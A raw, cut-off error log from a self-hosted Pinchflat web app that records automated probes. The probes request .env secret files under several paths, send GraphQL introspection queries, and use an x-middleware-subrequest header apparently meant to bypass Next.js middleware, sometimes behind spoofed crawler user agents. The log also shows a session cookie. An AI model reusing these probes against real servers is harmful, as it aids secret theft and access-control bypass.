:execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29464.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33146}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29464.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33146}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :unde (truncated) 16:49:02.843 [info] POST /api/graphql 16:49:02.843 [debug] QUERY OK source="settings" db=0.0ms idle=125.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:02.843 [debug] QUERY OK source="settings" db=0.0ms idle=37.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:02.843 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:02.843 [error] #PID<0.29467.0> running PinchflatWeb.Endpoint (connection #PID<0.29466.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: POST /api/graphql ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST /api/graphql (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29466.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/graphql", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33156}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.9", "content-length" => "86", "content-type" => "application/json", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "origin" => "https://pinchflat.burns-family.net", "referer" => "https://pinchflat.burns-family.net", "sec-ch-ua" => "\"Chromium\";v=\"153\", \"Google Chrome\";v=\"153\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "empty", "sec-fetch-mode" => "cors", "sec-fetch-site" => "same-origin", "user-agent" => "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "34.7.214.207" }, method: "POST", body_length: 86, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "query" => "{ __schema { types { name fields { name args { name defaultValue } } } } }" }, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "POST", owner: #PID<0.29467.0>, params: %{ "query" => "{ __schema { types { name fields { name args { name defaultValue } } } } }" }, path_info: ["api", "graphql"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "en-US,en;q=0.9"}, {"content-length", "86"}, {"content-type", "application/json"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"origin", "https://pinchflat.burns-family.net"}, {"referer", "https://pinchflat.burns-family.net"}, {"sec-ch-ua", "\"Chromium\";v=\"153\", \"Google Chrome\";v=\"153\", \"Not_A Brand\";v=\"8\""}, {"sec-ch-ua-mobile", "?1"}, {"sec-ch-ua-platform", "\"Android\""}, {"sec-fetch-dest", "empty"}, {"sec-fetch-mode", "cors"}, {"sec-fetch-site", "same-origin"}, {"user-agent", "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/graphql", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61Jv0HUu0bj8ABvSB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29466.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/graphql", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33156}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.9", "content-length" => "86", "content-type" => "application/json", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "origin" => "https://pinchflat.burns-family.net", "referer" => "https://pinchflat.burns-family.net", "sec-ch-ua" => "\"Chromium\";v=\"153\", \"Google Chrome\";v=\"153\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "empty", "sec-fetch-mode" => "cors", "sec-fetch-site" => "same-origin", "user-agent" => "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "34.7.214.207" }, method: "POST", body_length: 86, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST /api/graphql (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ (truncated) 16:49:03.036 [info] POST /v1/graphql 16:49:03.036 [debug] QUERY OK source="settings" db=0.1ms idle=227.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:03.036 [debug] QUERY OK source="settings" db=0.0ms idle=227.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:03.036 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:03.036 [error] #PID<0.29469.0> running PinchflatWeb.Endpoint (connection #PID<0.29468.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: POST /v1/graphql ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST /v1/graphql (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29468.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v1/graphql", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33166}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.9", "content-length" => "86", "content-type" => "application/json", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "origin" => "https://pinchflat.burns-family.net", "referer" => "https://pinchflat.burns-family.net", "sec-ch-ua" => "\"Chromium\";v=\"153\", \"Google Chrome\";v=\"153\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "empty", "sec-fetch-mode" => "cors", "sec-fetch-site" => "same-origin", "user-agent" => "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "34.7.214.207" }, method: "POST", body_length: 86, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "query" => "{ __schema { types { name fields { name args { name defaultValue } } } } }" }, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "POST", owner: #PID<0.29469.0>, params: %{ "query" => "{ __schema { types { name fields { name args { name defaultValue } } } } }" }, path_info: ["v1", "graphql"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "en-US,en;q=0.9"}, {"content-length", "86"}, {"content-type", "application/json"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"origin", "https://pinchflat.burns-family.net"}, {"referer", "https://pinchflat.burns-family.net"}, {"sec-ch-ua", "\"Chromium\";v=\"153\", \"Google Chrome\";v=\"153\", \"Not_A Brand\";v=\"8\""}, {"sec-ch-ua-mobile", "?1"}, {"sec-ch-ua-platform", "\"Android\""}, {"sec-fetch-dest", "empty"}, {"sec-fetch-mode", "cors"}, {"sec-fetch-site", "same-origin"}, {"user-agent", "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/v1/graphql", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61Kd1SVFQmqAABvSh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29468.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v1/graphql", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33166}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.9", "content-length" => "86", "content-type" => "application/json", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "origin" => "https://pinchflat.burns-family.net", "referer" => "https://pinchflat.burns-family.net", "sec-ch-ua" => "\"Chromium\";v=\"153\", \"Google Chrome\";v=\"153\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "empty", "sec-fetch-mode" => "cors", "sec-fetch-site" => "same-origin", "user-agent" => "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "34.7.214.207" }, method: "POST", body_length: 86, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST /v1/graphql (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ (truncated) 16:49:03.044 [info] GET /api/.env/public/.env 16:49:03.044 [debug] QUERY OK source="settings" db=0.0ms idle=201.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:03.045 [debug] QUERY OK source="settings" db=0.0ms idle=201.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:03.045 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:03.045 [info] GET /.//.env 16:49:03.045 [info] GET /static//home/user/.env 16:49:03.046 [debug] QUERY OK source="settings" db=0.0ms idle=101.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:03.046 [debug] QUERY OK source="settings" db=0.0ms idle=9.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:03.046 [debug] QUERY OK source="settings" db=0.1ms idle=9.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:03.046 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:03.046 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:03.046 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:03.045 [error] #PID<0.29471.0> running PinchflatWeb.Endpoint (connection #PID<0.29470.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/.env/public/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/.env/public/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29470.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/.env/public/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33170}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29471.0>, params: %{}, path_info: ["api", ".env", "public", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/.env/public/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61Kf5wfpM84YABvTB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29470.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/.env/public/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33170}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/.env/public/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29470.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/.env/public/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33170}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => 